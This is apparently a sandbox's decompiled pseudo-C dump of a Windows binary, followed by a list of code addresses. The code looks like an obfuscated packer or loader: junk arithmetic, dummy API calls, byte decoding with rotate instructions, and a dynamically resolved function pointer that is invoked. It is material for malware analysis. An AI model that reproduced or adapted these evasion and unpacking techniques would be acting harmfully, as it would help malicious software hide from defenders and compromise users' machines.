													_t2802 =  *0x44a864; // 0x0
													_v1920 = _t2802 -  *_v1964;
													_v1572 = _v1568 & _v60;
													_v1572 =  *_v24 -  *_v1700;
													 *_v2340 = ( *_v2296 & 0x0000ffff) + (_v2300 & 0x0000ffff);
												}
												 *0x44a880 =  &_v497;
												_v1556 =  *_v1456;
												QueryPerformanceFrequency( &_v1084);
												_v540 =  *_v1964 -  *_v364;
												if(_v384 -  *_v1456 != _v8 +  *0x44a860) {
													_v516 =  *_v1964 + _v1568;
													_v372 = _v8 +  *_v1656;
													_v148 =  *_v2296 & 0x0000ffff & _v400 & 0x0000ffff;
													_v1557 = ( *_v664 & 0x000000ff) << ( *_v1564 & 0x000000ff);
													_v352 = SetThreadLocale(0x5c);
													 *_v1440 =  *_v1448 >> _v533;
													_t4688 =  *0x427004; // 0x0
													E00404F50( *_v364, _t4688,  *_v24,  *_v2336);
												}
												_v1652 =  &_v444;
												 *0x44a86c = _v384;
												while(_v492 > 0x509) {
													_v492 = _v492 - 0xa3;
													_v1568 = _v1920 ^  *_v2336;
													_v1816 = _v148 & 0x0000ffff |  *_v1460 & 0x0000ffff;
													_v545 = ( *_v664 & 0x000000ff) + ( *_v452 & 0x000000ff);
													_v60 =  *_v1964 - _v1568;
													_v168 =  *_v80 &  *0x44a86c;
													_v516 = _v60 -  *_v1700;
													_v60 = _v552 -  *_v364;
													 *_v2308 = ( *0x44918c & 0x0000ffff) - ( *_v1460 & 0x0000ffff);
													 *0x427786 = ( *_v664 & 0x000000ff) - ( *_v452 & 0x000000ff);
													_v168 =  *_v1664 + _v448;
													 *_v1072 = _v1568 +  *_v1700;
													_v1572 =  *_v1964 + _v516;
													_v552 =  *_v1072 - _v1568;
													_v540 = _v60 ^ _v1568;
													_v1969 =  *0x427787 |  *_v1440;
													_v164 = _v444 >> _v496;
													 *_v664 = (_v1557 & 0x000000ff) << ( *_v1564 & 0x000000ff);
													_t2763 =  *0x44a880; // 0x19fd4b
													 *_t2763 =  *_v664 & 0x000000ff & _v1557 & 0x000000ff;
													_v384 = _v168 + _v372;
													 *_v1656 =  *_v1456 -  *_v80;
													 *_v2308 = _v148 & 0x0000ffff &  *_v1460 & 0x0000ffff;
													_v13 = ( *0x427786 & 0x000000ff) + ( *_v664 & 0x000000ff);
													 *_v2336 = _v516 -  *_v1700;
													 *_v1456 = _v56 - _v168;
													_v516 =  *_v1964 + _v1572;
													 *_v1964 = _v60 + _v516;
													 *0x427786 = (_v13 & 0x000000ff) >> (_v1089 & 0x000000ff);
													_v668 = _v2300 & 0x0000ffff ^  *_v2308 & 0x0000ffff;
													 *_v1656 = _v56 |  *0x44a86c;
													 *_v1964 =  *_v24 <<  *_v364;
													_v444 =  *_v428 &  *_v68;
													GetProcessTimes(0, 0, 0, 0, 0); // executed
													 *_v1448 =  *_v1448 - _v1969;
													 *_v452 = ( *_v664 & 0x000000ff) - ( *_v1564 & 0x000000ff);
													 *_v2308 = ( *_v1460 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
												}
												_v448 = _v384 + _v56;
												_v2512 =  *_v1440;
												if(_v2512 == 0x49) {
													_v1568 = _v1920 ^  *_v2336;
													 *_v1664 =  *_v1656 >>  *_v80;
													_v540 =  *_v2336 << _v1920;
													 *0x44a864 =  *_v24 & _v1568;
													_push( *_v1456);
													_push(_v2300 & 0x0000ffff);
													_push( *_v1456);
													E00409650( *_v2308 & 0x0000ffff,  *_v1448 & 0x000000ff);
													L180:
													_t4314 =  *0x44a87c; // 0x19fd13
													 *_t4314 = _v1089 & 0x000000ff &  *_v452 & 0x000000ff;
													_v516 = _v1568 + _v60;
													_v384 =  *_v1664 +  *_v1456;
													E004095B0(_v569 & 0x000000ff);
													_v552 =  *_v2336 -  *_v364;
													 *_v2340 = (_v1816 & 0x0000ffff) + ( *0x449188 & 0x0000ffff);
													_v13 = _v553 & 0x000000ff |  *_v1564 & 0x000000ff;
													goto L181;
												}
												while(_v76 <= 0x4531) {
													_v1436 = 0x11c;
													_v1089 = ( *_v664 & 0x000000ff) + ( *_v1564 & 0x000000ff);
													ResetEvent(_v2332);
													 *_v2296 = ( *_v2296 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
													 *_v2304 = _v164 -  *_v532;
													_v1969 = _v533 -  *_v1440;
													_v168 =  *_v80 +  *_v1656;
													_v76 = _v76 + 0x18;
													_v516 =  *_v1964 &  *_v2336;
													_v668 = ( *0x449188 & 0x0000ffff) + ( *_v2340 & 0x0000ffff);
													_v1089 = ( *_v452 & 0x000000ff) + (_v545 & 0x000000ff);
													 *0x44a860 =  *_v80 -  *_v1656;
													_v552 =  *_v1964 >> _v1920;
													_v552 = _v1572 ^  *_v24;
													_v168 =  *_v1664 | _v56;
												}
												_v1557 = ( *_v452 & 0x000000ff) << (_v1089 & 0x000000ff);
												_t3362 =  *0x427004; // 0x0
												if((_t3362 &  *_v2336) <  *_v364 - _v60) {
													if(_v1556 -  *0x44a86c <  *_v80 +  *_v1456) {
														_v164 =  *_v68 ^ _v444;
														_v668 =  *0x44918c & 0x0000ffff | _v148 & 0x0000ffff;
														_v553 = ( *_v452 & 0x000000ff) + (_v1089 & 0x000000ff);
														 *_v1664 = _v384 &  *_v80;
													}
													L179:
													_v400 = (_v148 & 0x0000ffff) + ( *_v1460 & 0x0000ffff);
													_v36 = GetOpenFileNameW( &_v1908);
													 *_v364 = _v1572 - _v552;
													_v1568 =  *_v24 +  *_v364;
													_v1556 = _v448 & _v372;
													_t2445 =  *0x44a87c; // 0x19fd13
													 *_t2445 = (_v1557 & 0x000000ff) + (_v545 & 0x000000ff);
													_t3374 =  *0x44a864; // 0x0
													_v1572 =  *_v1964 >> _t3374;
													 *_v1448 =  *_v1440 << _v569;
													goto L180;
												}
												_v2316 =  &_v540;
												_t3386 =  *0x44a880; // 0x19fd4b
												if(( *_v664 & 0x000000ff) - ( *_v452 & 0x000000ff) < ( *_v1564 & 0x000000ff) - ( *_t3386 & 0x000000ff)) {
													L176:
													_v13 = ( *_v452 & 0x000000ff) + ( *_v1564 & 0x000000ff);
													 *0x449188 = (_v1816 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
													_v372 = _v56 -  *_v1456;
													_v516 =  *_v1964 +  *_v24;
													_v172 = GetSaveFileNameW( &_v660);
													 *_v2336 =  *_v1072 - _v1568;
													 *_v80 = _v1556 & _v168;
													goto L179;
												}
												_v148 = (_v2300 & 0x0000ffff) << ( *_v2308 & 0x0000ffff);
												_v1096 =  &_v13;
												do {
													 *_v364 =  *_v364 ^  *_v2336;
													EnterCriticalSection( &_v1724);
													GetFileAttributesExW(0, 0, 0);
													_t3400 =  *0x44a864; // 0x0
													_v552 = _v1572 >> _t3400;
													_t3402 =  *0x44a880; // 0x19fd4b
													 *_t3402 = _v1089 & 0x000000ff |  *_v1564 & 0x000000ff;
													 *_v2304 = _v496 +  *_v68;
													 *_v1564 = ( *0x427786 & 0x000000ff) - ( *_v1096 & 0x000000ff);
													_v400 =  *_v2308 & 0x0000ffff &  *_v2340 & 0x0000ffff;
													_v448 =  *_v1456 - _v8;
													_v1684 = DeleteAtom(_v412 & 0x0000ffff);
													 *_v1456 =  *_v80 - _v372;
													_v540 = _v516 -  *0x44a864;
													_v552 = _v1920 -  *_v1964;
													_v1568 = _v540 + _v60;
													_v148 = ( *0x449188 & 0x0000ffff) + (_v1816 & 0x0000ffff);
													_v504 = GetFileSize(_v420,  &_v436);
													 *0x427786 = ( *_v452 & 0x000000ff) + (_v1089 & 0x000000ff);
													_v448 =  *_v80 - _v384;
													_v1572 = _v540 << _v516;
													QueryPerformanceFrequency( &_v772);
													_v540 = _v552 >>  *_v364;
													_v1556 =  *_v1656 |  *_v1664;
													_v1980 = _v1980 - 0x4f;
													_v668 =  *_v2308 & 0x0000ffff ^  *_v2340 & 0x0000ffff;
													 *_v1564 = _v1557 & 0x000000ff & _v497 & 0x000000ff;
												} while (_v1980 > 0x4d52);
												_v1969 = _v533 - _v377;
												_v496 =  *_v1652 -  *_v2304;
												 *0x449194 = _v56 & _v372;
												_v776 = _v540;
												 *_v1460 = ( *_v2340 & 0x0000ffff) * 0xb4c;
												_v1558 = _v497;
												_v552 =  *_v1700 + _v776;
												FreeConsole(); // executed
												if(( *_v2308 & 0x0000ffff) - (_v148 & 0x0000ffff) > ( *_v2296 & 0x0000ffff) + (_v400 & 0x0000ffff)) {
													if(_v164 +  *0x44a878 >  *_v68 + _v444) {
														_v384 =  *_v1664 <<  *_v80;
														_v60 =  *_v24 >> _v516;
														_v776 =  *_v364 |  *_v1964;
													}
													L175:
													E004095B0( *_v1448 & 0x000000ff);
													goto L176;
												}
												_v376 =  *_v2340;
												 *0x44918b = _v497 & 0x000000ff ^  *_v1096 & 0x000000ff;
												_v1136 = 0x5b64;
												_v448 = _v372 &  *_v1656;
												_v60 =  *_v1072 +  *_v2336;
												_v1648 = _v552;
												_v552 =  *_v1964 -  *0x44a864;
												if( *_v1448 - _v533 >  *_v1440 + _v377) {
													if(( *0x44918c & 0x0000ffff) * ( *_v2340 & 0x0000ffff) <= ( *_v2308 & 0x0000ffff & _v1816 & 0x0000ffff)) {
														 *_v2336 =  *_v2316 - _v1572;
														_v1969 =  *_v1440 +  *_v1448;
													}
													L172:
													E004095B0(_v533 & 0x000000ff);
													goto L175;
												}
												_t3455 =  *0x44a878; // 0x0
												_v1988 = _t3455;
												if( *_v2304 + _v444 <=  *_v428 -  *_v1652) {
													L169:
													_v376 = ( *_v2308 & 0x0000ffff) >> (_v1816 & 0x0000ffff);
													_t3462 =  *0x44a87c; // 0x19fd13
													 *_t3462 = _v1557 & 0x000000ff |  *_v664 & 0x000000ff;
													goto L172;
												} else {
													goto L134;
												}
												do {
													L134:
													 *_v80 = _v168 <<  *_v1656;
													 *_v80 = _v384 ^  *_v1664;
													_v1684 = AddAtomW(L"qQd~ZhOSAK");
													_v1089 =  *_v664 & 0x000000ff &  *_v452 & 0x000000ff;
													_v1816 = ( *0x449188 & 0x0000ffff) - (_v376 & 0x0000ffff);
													_v1648 =  *_v1964 - _v1572;
													 *_v1664 = _v372 -  *0x44a860;
													_v552 = _v1572 +  *_v364;
													_v540 = _v552 +  *_v2316;
													 *0x44918b =  *_v452 & 0x000000ff &  *_v1564 & 0x000000ff;
													_v1816 = ( *_v1460 & 0x0000ffff) + ( *_v2340 & 0x0000ffff);
													_v56 = _v168 + _v384;
													_v552 = _v1568 - _v1572;
													 *_v1652 =  *_v532 <<  *0x449190;
													_v377 = _v1969 >> _v533;
													_v2300 =  *_v2296 & 0x0000ffff |  *_v2308 & 0x0000ffff;
													_t3479 =  *0x44a880; // 0x19fd4b
													_v497 =  *_t3479 & 0x000000ff ^ _v1557 & 0x000000ff;
													_v8 =  *_v80 & _v56;
													 *0x427004 =  *_v2316 +  *_v1964;
													 *_v1964 =  *_v1700 -  *_v1072;
													 *_v1664 =  *_v1656 -  *0x449194;
													 *_v24 = _v540 - _v776;
													_v1136 = _v1136 + 0xd;
													_v64 = GetCurrentThread();
													_v1557 = (_v553 & 0x000000ff) + ( *_v1096 & 0x000000ff);
													_v1684 = DeleteAtom(_v412 & 0x0000ffff);
													_v376 = ( *_v2340 & 0x0000ffff) - (_v148 & 0x0000ffff);
												} while (_v1136 != 0x5dc7);
												_v432 = 0x3de31396;
												if((_v444 &  *_v2304) >  *_v68 +  *_v428) {
													if( *_v1440 <<  *_v1448 < (_v1969 ^  *0x44918a)) {
														_t2715 =  *0x44a87c; // 0x19fd13
														 *_t2715 = (_v545 & 0x000000ff) + (_v497 & 0x000000ff);
													}
												} else {
													_v1648 = _v776 >>  *_v2316;
													_v1556 = _v8 |  *_v1656;
													_v44 = _v1920;
													_t2717 = CreateMutexW(0, 0, 0); // executed
													_v40 = _t2717;
												}
												_v432 = _v432 ^ 0x3de71396;
												_t3499 =  *0x44a864; // 0x0
												if(( *_v364 & _v540) < _t3499 + _v1572) {
													 *_v1564 = ( *_v452 & 0x000000ff) + (_v497 & 0x000000ff);
													E00404FE0( *_v664);
													_v2300 = ( *_v1460 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
												}
												_v1076 = 0x79d9fb10;
												_v377 = _v533 +  *_v1440;
												_v1688 =  &_v444;
												_v372 = _v8 - _v448;
												_v1568 = _v540 +  *_v1700;
												_v2348 = 0x449188;
												_v1076 = _v1076 - 0x79d9e9da;
												_v497 = (_v1089 & 0x000000ff) - ( *_v452 & 0x000000ff);
												 *0x44a870 =  *_v1664;
												_v544 =  *_v364;
												_v552 = _v776 & _v540;
												_v1552 = CreateEventW(0, 0, 0, 0);
												_v1676 = _v1076;
												 *_v80 =  *_v80 ^  *_v1664;
												_v764 =  &_v400;
												_v553 =  *_v1096 & 0x000000ff | _v1557 & 0x000000ff;
												E00404D40(_t3114,  &_v2460, _t5004); // executed
												_t2577 = E00409680( &_v2460); // executed
												E004031C0(_t2577, _v1557 & 0x000000ff); // executed
												_v1672 =  &_v1568;
												_t3514 =  *0x427004; // 0x0
												_v552 =  *_v1964 << _t3514;
												if(_v1568 >>  *_v1072 !=  *_v364 - _v776) {
													_v448 =  *_v1664 -  *0x449194;
													goto L168;
												} else {
													 *0x44a868 =  &_v60;
													_v32 =  *_v364;
													_v377 = _v569 - _v533;
													_v2320 = _v416(_v432, _v1076, _v1676);
													 *_v68 =  *_v2304 +  *_v1688;
													_v564 = CreateFileW(L"ccsV43tknQv\\ps\\ExKp", 0xc0000000, 2, 0, 3, 8, 0);
													_v353 = _v545;
													_v376 = (_v2300 & 0x0000ffff) + (_v400 & 0x0000ffff);
													_v2328 =  *_v1456;
													_v20 = _v2320;
													_v2516 =  *_v764 & 0x0000ffff;
													if(_v2516 == 0) {
														 *0x44918e = ( *_v1096 & 0x000000ff) + (_v1557 & 0x000000ff);
														 *_v80 = _v448 -  *_v1656;
														_v544 = _v1648 ^  *_v24;
														_v1984 = _v776;
														_v1968 = 0xd79379a4;
														_v448 =  *_v80 <<  *_v1664;
														_v1668 = _v668;
														_v1089 = _v553 & 0x000000ff | _v353 & 0x000000ff;
														_v512 = CreateEventW(0, 0, 0, 0);
														_v368 = 0x9e;
														_t2600 =  *0x427004; // 0x0
														 *_v1072 = _t2600 >> _v60;
														_v2520 =  *_v1448;
														if(_v2520 == 0) {
															_v1444 =  *_v68;
															 *_v1564 = ( *_v452 & 0x000000ff) + (_v1558 & 0x000000ff);
															if(( *_v1564 & 0x000000ff &  *_v1096 & 0x000000ff) < (_v13 & 0x000000ff) + (_v545 & 0x000000ff)) {
																L162:
																_v2300 = ( *_v2308 & 0x0000ffff) + ( *_v2348 & 0x0000ffff);
																 *_v1456 = _v384 - _v448;
																_v1556 =  *_v1656 - _v372;
																L164:
																 *_v2316 = _v540 &  *_v1964;
																_t3550 =  *0x44918b; // 0x0
																E00404FE0(_t3550);
																L166:
																 *_v1072 =  *_v2336 - _v776;
																E00409620();
																L168:
																E00404FA0( *_v1688, _v497,  *_v664 & 0x000000ff);
																goto L169;
															}
															if(( *_v1096 & 0x000000ff) - ( *_v664 & 0x000000ff) == (_v497 & 0x000000ff | _v1557 & 0x000000ff)) {
																_v360 =  *_v364;
																_v12 = CreateFileW(L"dlWjcLXF1\\7hp7", 0xc0000000, 8, 0, 0, 0x100, 0);
																_v1984 = _v552 << _v1920;
																 *_v24 =  *_v1072 ^  *0x44a864;
																_v2344 =  *_v2340;
															}
															_v780 = _v408;
															 *0x427786 = ( *_v664 & 0x000000ff) >> (_v497 & 0x000000ff);
															 *_v1664 = _v384 &  *0x44a86c;
															_v152 =  *_v1672;
															_v508 = 0x2405030;
															_v1920 = _v1568 + _v516;
															_v1140 =  &_v384;
															_v353 = (_v1557 & 0x000000ff) - ( *_v1096 & 0x000000ff);
															_v508 = _v508 | 0x0132010e;
															_v400 = (_v668 & 0x0000ffff) + (_v2300 & 0x0000ffff);
															_v1144 =  &_v533;
															while(_v368 < _v508) {
																_v164 = _v444 + _v1444;
																 *0x449194 = _v384 &  *_v1140;
																_t3597 =  *0x427004; // 0x0
																_v60 = _t3597 -  *_v2316;
																_v421 =  *_v780;
																_v2344 = (_v400 & 0x0000ffff) + ( *_v2348 & 0x0000ffff);
																_v2276 = 0x11c;
																 *_v1096 = ( *_v452 & 0x000000ff) - (_v545 & 0x000000ff);
																 *_v24 = _v1920 -  *_v1672;
																_v421 = (_v421 & 0x000000ff) + _v1968;
																_v448 = _v56 |  *0x44a860;
																_v32 = _v1648 ^ _v360;
																_v1568 = _v32 >>  *_v1964;
																asm("ror dl, cl");
																 *_v2340 = ( *_v764 & 0x0000ffff) << (_v400 & 0x0000ffff);
																 *0x427786 =  *_v664 & 0x000000ff & _v1089 & 0x000000ff;
																_v168 = _v8 + _v384;
																 *_v20 = _v421;
																 *_v2316 = _v44 + _v516;
																_v552 = _v32 + _v152;
																_v780 = _v780 + 1;
																 *_v2336 =  *_v2316 -  *_v1700;
																_t2675 =  &_v396;
																__imp__GetFileSizeEx(_v564, _t2675);
																_v760 = _t2675;
																_v44 =  *_v2336 - _v1920;
																_v444 =  *_v2304 &  *_v532;
																_v1969 =  *_v1440 - _v569;
																_v20 = _v20 + 1;
																_v148 = (_v668 & 0x0000ffff) + ( *0x44918c & 0x0000ffff);
																_t4582 =  *0x44a880; // 0x19fd4b
																 *_t4582 = ( *_v452 & 0x000000ff) - (_v497 & 0x000000ff);
																_v8 = _v448 |  *_v1140;
																 *_v1664 =  *_v1456 >>  *_v1656;
																_v1816 = ( *_v2296 & 0x0000ffff) << (_v376 & 0x0000ffff);
																_v1968 = _v1968 * 0x1837;
																_v497 =  *_v664 & 0x000000ff ^ _v1558 & 0x000000ff;
																_v776 =  *_v1072 & _v540;
																 *_v80 = _v448 +  *_v1664;
																asm("rol eax, 0x13");
																_v1648 =  *_v24 +  *_v1700;
																_v1648 = _v516 +  *_v24;
																 *0x449188 = ( *_v764 & 0x0000ffff) - ( *_v2296 & 0x0000ffff);
																_v553 = (_v13 & 0x000000ff) - (_v1089 & 0x000000ff);
																_v368 = _v368 + 0x5035e;
																 *_v80 =  *_v80 - _v2328;
																__imp__AssignProcessToJobObject(0, 0);
																 *_v24 =  *_v2336 & _v60;
																_v569 = _v377 + _v533;
																_v164 = _v1444 >> _v1988;
																_v13 =  *_v664 & 0x000000ff ^  *_v1096 & 0x000000ff;
															}
															_v72 = _v2300;
															_t4525 =  *0x449194; // 0x0
															_v2328 = _t4525 <<  *_v1140;
															if((_v400 & 0x0000ffff | _v668 & 0x0000ffff) == ( *_v764 & 0x0000ffff) + ( *_v1460 & 0x0000ffff)) {
																_v2300 = ( *_v2340 & 0x0000ffff) + (_v2344 & 0x0000ffff);
															} else {
																 *0x44a874 =  &_v360;
																_v1680 =  &_v1984;
																_v448 = _v168 -  *_v80;
																_t3595 =  *0x44a868; // 0x19ff00
																_v516 =  *_t3595 - _v544;
															}
															_t2630 = _v2320 + 0xb0;
															_v528 = _t2630;
															__imp__GetFileSizeEx(_v564,  &_v1084);
															_v160 = _t2630;
															_v1696 =  &_v553;
															_v44 = _v776 - _v152;
															_v524 = _v408 + 0xb0;
															if( *_v1700 -  *_v1072 >= _v1984 +  *_v1680) {
																_v560 = _v372;
																 *_v24 =  *_v1964 &  *0x427004;
																 *0x449198 = _v544 <<  *_v1700;
																if( *_v1656 >>  *_v1664 < ( *_v1456 ^  *_v1140)) {
																	_v1969 =  *_v1144 -  *_v1448;
																} else {
																	_v160 = SetEndOfFile(_v420);
																	_v8 = _v1556 +  *_v1656;
																	_v156 = _v152;
																	_v2320( &_v528);
																	 *_v2348 = ( *_v2340 & 0x0000ffff) + (_v668 & 0x0000ffff);
																	_v2324 =  &_v497;
																}
																_v2344 = ( *_v2308 & 0x0000ffff) + ( *_v2296 & 0x0000ffff);
																 *_v452 = _v553 & 0x000000ff &  *_v1696 & 0x000000ff;
																_v1444 =  *_v68 - _v496;
															}
															E00404FE0( *_v664);
															goto L162;
														}
														if(_v2520 == 0x13) {
															 *0x44918a =  *_v1440 +  *_v1448;
														}
														goto L164;
													}
													_v2300 = ( *_v2348 & 0x0000ffff) + (_v1816 & 0x0000ffff);
													goto L166;
												}
											} else {
												 *_v80 =  *_v1664 ^ _v372;
												_v13 =  *_v664 & 0x000000ff | _v1089 & 0x000000ff;
												_v400 = ( *_v2308 & 0x0000ffff) << ( *_v1460 & 0x0000ffff);
												 *_v24 = _v1568 >>  *_v364;
												L182:
												_v448 =  *_v1656 +  *_v1664;
												_t4277 =  *0x427004; // 0x0
												_v1572 = _t4277 -  *_v364;
												 *0x44a864 = _v1568 -  *_v2336;
												E00404FA0( *_v68, _v1089, _v13 & 0x000000ff);
												L184:
												_v372 =  *_v1664 +  *_v80;
												 *0x44a864 =  *_v1964 + _v1920;
												E00404FE0( *_v1564);
												goto L185;
											}
										}
									}
								}
								goto L38;
							} else {
								_v533 =  *_v1440 + 0x64;
								_v553 = (_v13 & 0x000000ff) + (_v545 & 0x000000ff);
								_v668 =  *_v2296 & 0x0000ffff &  *0x449188 & 0x0000ffff;
								_v448 =  *_v80 | _v56;
								_v172 = PageSetupDlgW( &_v1548);
								 *_v80 = _v168 >> _v448;
								L188:
								_v552 =  *_v1964 -  *_v364;
								 *_v532 = _v164 - _v444;
								goto L190;
							}
						} else {
							_v552 =  *_v1964 | _v1568;
							 *0x427004 =  *_v24 >>  *_v1964;
							L190:
							_v168 =  *_v80 + _v56;
							E004095B0(_v533 & 0x000000ff);
							 *_v1964 = _v552 & _v1568;
							_v552 = _v1568 -  *_v24;
							_v168 =  *_v80 - _v56;
							 *_v2308 = ( *_v1460 & 0x0000ffff) + ( *0x449188 & 0x0000ffff);
							_v553 = (_v545 & 0x000000ff) << ( *_v1564 & 0x000000ff);
							goto L192;
						}
					} else {
						E004095B0(_v533 & 0x000000ff);
						_v168 =  *_v80 & 0x0000a9f1;
						_t4989 =  *0x427004; // 0x0
						_v1568 = _t4989 +  *_v1964;
						_v2300 = ( *_v2296 & 0x0000ffff) - ( *_v2308 & 0x0000ffff);
						E004095B0(_v533 & 0x000000ff);
						L192:
						 *_v1964 =  *_v1964 + _v1568;
						goto L193;
					}
				}
			}

0x00405010
0x00405010
0x0040501a
0x00405027
0x00405032
0x0040503e
0x00405045
0x0040504c
0x00405061
0x0040506c
0x00405072
0x00405082
0x00405093
0x00405099
0x00409540
0x0040955a
0x00409568
0x0040957a
0x0040957a
0x00409581
0x0040959c
0x004095ab
0x004095ab
0x004050a5
0x004050b2
0x004050b6
0x004050c2
0x004050d8
0x004050da
0x004094d2
0x004094ea
0x004094fb
0x00409514
0x00409522
0x0040952f
0x00000000
0x004050b4
0x004050ea
0x00405108
0x004051ba
0x004051d4
0x004051df
0x004051df
0x0040510e
0x00405114
0x00405124
0x00405175
0x00405184
0x00405184
0x00405126
0x00405126
0x00405132
0x00405143
0x00405149
0x00405155
0x00405155
0x00405187
0x00405191
0x00405191
0x004051ed
0x004051f4
0x00405204
0x00405214
0x00405222
0x00405228
0x00405230
0x0040524c
0x0040524c
0x00405274
0x004052bd
0x004052d1
0x004052dd
0x00405276
0x00405280
0x0040528c
0x00405296
0x0040529d
0x004052b0
0x004052b0
0x004052e9
0x004052fe
0x00405309
0x00405315
0x00405322
0x0040533d
0x00405349
0x00405351
0x00405366
0x00405371
0x0040537d
0x0040538a
0x004053e6
0x004053f5
0x0040540d
0x00405421
0x00405435
0x00405445
0x0040545b
0x00405473
0x0040538c
0x00405393
0x004053a8
0x004053bc
0x004053d4
0x004053d4
0x00405393
0x0040547f
0x0040548f
0x0040549b
0x004054a7
0x004054ad
0x004054bd
0x004054c3
0x004054ca
0x004054d7
0x004054e4
0x004054f3
0x00405501
0x0040551d
0x004055da
0x004055f9
0x00405610
0x0040561f
0x0040563a
0x0040564f
0x00405661
0x0040567a
0x0040567a
0x00405523
0x00405529
0x00405536
0x00405552
0x0040555a
0x00405563
0x00405569
0x00405582
0x0040558f
0x004055a0
0x004055a0
0x004055b1
0x004055b1
0x0040567f
0x0040569f
0x00405718
0x0040573c
0x0040574e
0x00405760
0x00405775
0x0040578f
0x004057a5
0x004057bb
0x004057cb
0x004057dc
0x004057e7
0x00405801
0x0040581a
0x0040582b
0x00405847
0x00405856
0x00405865
0x0040587d
0x00405895
0x004058aa
0x004058bb
0x004058d1
0x004058e7
0x004058fb
0x0040591a
0x00405928
0x0040593e
0x0040594d
0x00405961
0x00405975
0x00405991
0x0040599f
0x004059bd
0x004059d8
0x004059e2
0x004059f0
0x00405a0e
0x00405a25
0x00405a3e
0x00405a52
0x00405a67
0x00405a79
0x00405a93
0x00405aab
0x00405ac3
0x00405ac3
0x00405adb
0x00405add
0x00405aec
0x00405afc
0x00405b00
0x00405b16
0x00409382
0x00409382
0x00000000
0x00409382
0x00405b42
0x00405bf7
0x00405c07
0x00405c0d
0x00405c20
0x00405c35
0x00405c45
0x00405c45
0x00405b48
0x00405b4e
0x00405b5a
0x00405b6a
0x00405b86
0x00405b9e
0x00405bb8
0x00405b6c
0x00405b76
0x00405bcf
0x00405bcf
0x00405b76
0x00405bd1
0x00405c54
0x00405c5e
0x00405c6a
0x00405c7d
0x00405c83
0x00405ca0
0x004092f2
0x004092fe
0x0040930d
0x00409320
0x00409337
0x00409346
0x00409360
0x0040937f
0x00000000
0x00405ca6
0x00405cae
0x00405cc8
0x00405cdb
0x00405ce5
0x00405cf5
0x00405daa
0x00405dc3
0x00405dd3
0x00405de6
0x00405cfb
0x00405d05
0x00405d19
0x00405d32
0x00405d46
0x00405d58
0x00405d6b
0x00405d85
0x00405d93
0x00405d93
0x00405d05
0x00405e10
0x004092ce
0x004092e0
0x004092f0
0x00000000
0x00405e16
0x00405e16
0x00405e34
0x00405e49
0x00405e65
0x00405e7d
0x00405e9a
0x00405eb4
0x00405ec5
0x00405ed7
0x00405eea
0x00405f00
0x00405f16
0x00405f26
0x00405f3d
0x00405f4f
0x00405f67
0x00405f87
0x00405f99
0x00405faa
0x00405fbe
0x00405fcd
0x00405fe5
0x00405fff
0x00406020
0x00406034
0x00406046
0x0040605a
0x0040606e
0x00406080
0x00406091
0x004060b1
0x004060ce
0x004060dd
0x004060ef
0x00406103
0x0040611a
0x0040612f
0x00406149
0x00406158
0x00406172
0x0040618b
0x004061a3
0x004061b3
0x004061c6
0x004061e1
0x004061e1
0x004061e8
0x0040620a
0x0040621c
0x00406238
0x00406249
0x00406257
0x00406272
0x00406286
0x0040629d
0x004062ac
0x004062bf
0x004062d1
0x004062e7
0x004062f9
0x0040630b
0x00406323
0x00406323
0x00406337
0x00406346
0x00406364
0x0040636c
0x00406375
0x00406382
0x0040642d
0x00406388
0x0040638f
0x004063a1
0x004063b9
0x004063d4
0x004063eb
0x004063f8
0x00406407
0x00406421
0x00406421
0x0040638f
0x00406448
0x00406460
0x00406468
0x0040647f
0x00406481
0x0040649e
0x004064b7
0x004064d5
0x004064e8
0x004064f8
0x0040650e
0x0040651a
0x0040652e
0x0040653c
0x0040654e
0x00406561
0x0040657a
0x0040657a
0x00406586
0x004065aa
0x004065b7
0x004065cb
0x004065d1
0x004065dd
0x004065fd
0x00406614
0x0040662c
0x00406648
0x00406658
0x0040666a
0x00406688
0x0040669d
0x004066ae
0x004066bc
0x004066d6
0x004066eb
0x004066fb
0x0040670a
0x00406724
0x0040672e
0x00406736
0x00406749
0x0040675a
0x00406769
0x0040677f
0x00406797
0x00406797
0x004067a8
0x004067b5
0x004067c5
0x004067ee
0x00406804
0x00406813
0x00406826
0x0040683d
0x00406853
0x00406869
0x0040687a
0x0040688a
0x004067c7
0x004067d1
0x004068a6
0x004068ba
0x004068d1
0x004068e8
0x004068fe
0x004068fe
0x004067d1
0x00406906
0x00406912
0x0040691e
0x00406935
0x0040694b
0x00406964
0x0040696d
0x00406979
0x00406985
0x00406993
0x0040699e
0x004069be
0x004069c6
0x004069ed
0x004069fb
0x00406a09
0x00406a19
0x00406a2b
0x00406a3c
0x00406a3c
0x00406a53
0x00406a6f
0x00406a78
0x00406a7e
0x00406a93
0x00406aa5
0x00406aaa
0x00406ab2
0x00406aca
0x00406aeb
0x00406af9
0x00406b08
0x00406b20
0x00406b2e
0x00406b4a
0x00406b62
0x00406b77
0x00406b8c
0x00406b9d
0x00406bb2
0x00406bc6
0x00406bd8
0x00406bf5
0x00406c0e
0x00406c1f
0x00406c3b
0x00406c47
0x00406c4d
0x00406c6b
0x00406c7e
0x00406cf2
0x00406d38
0x00406d4c
0x00406d5f
0x00406d5f
0x00406c80
0x00406c87
0x00406c8d
0x00406ca6
0x00406cc4
0x00406cc4
0x00406d89
0x00406dd9
0x00406e0f
0x00406e1d
0x00406e36
0x00406e55
0x00406e55
0x00406d8b
0x00406d98
0x00406dae
0x00406dae
0x00406e71
0x0040922a
0x0040923c
0x0040925a
0x00409267
0x0040927c
0x00409295
0x00000000
0x00406e77
0x00406e7e
0x00406e8e
0x00406eaf
0x00406ec0
0x00406ec6
0x00406e90
0x00406e9a
0x00406ee0
0x00406ee8
0x00406ef4
0x00406f02
0x00406f0a
0x00406f0a
0x00406e9a
0x00406f2c
0x0040704c
0x0040705f
0x00407079
0x0040708e
0x00407098
0x004070a2
0x004070ab
0x004070bc
0x00406f32
0x00406f3a
0x00406f47
0x00406f72
0x00406f8e
0x00406fa0
0x00406fac
0x00406fb4
0x00406fc8
0x00406fdc
0x00406fee
0x00407008
0x00407008
0x0040700e
0x00406f49
0x0040702e
0x0040702e
0x00407035
0x004070d3
0x004070dc
0x004070fb
0x00407120
0x00407186
0x00407192
0x004071a1
0x004071b3
0x004071c1
0x004071c7
0x004071d7
0x004071ec
0x004071f9
0x00407220
0x00409159
0x0040916d
0x00409186
0x0040918f
0x00409195
0x004091a2
0x004091a8
0x004091bd
0x00000000
0x004091bd
0x0040722c
0x00407246
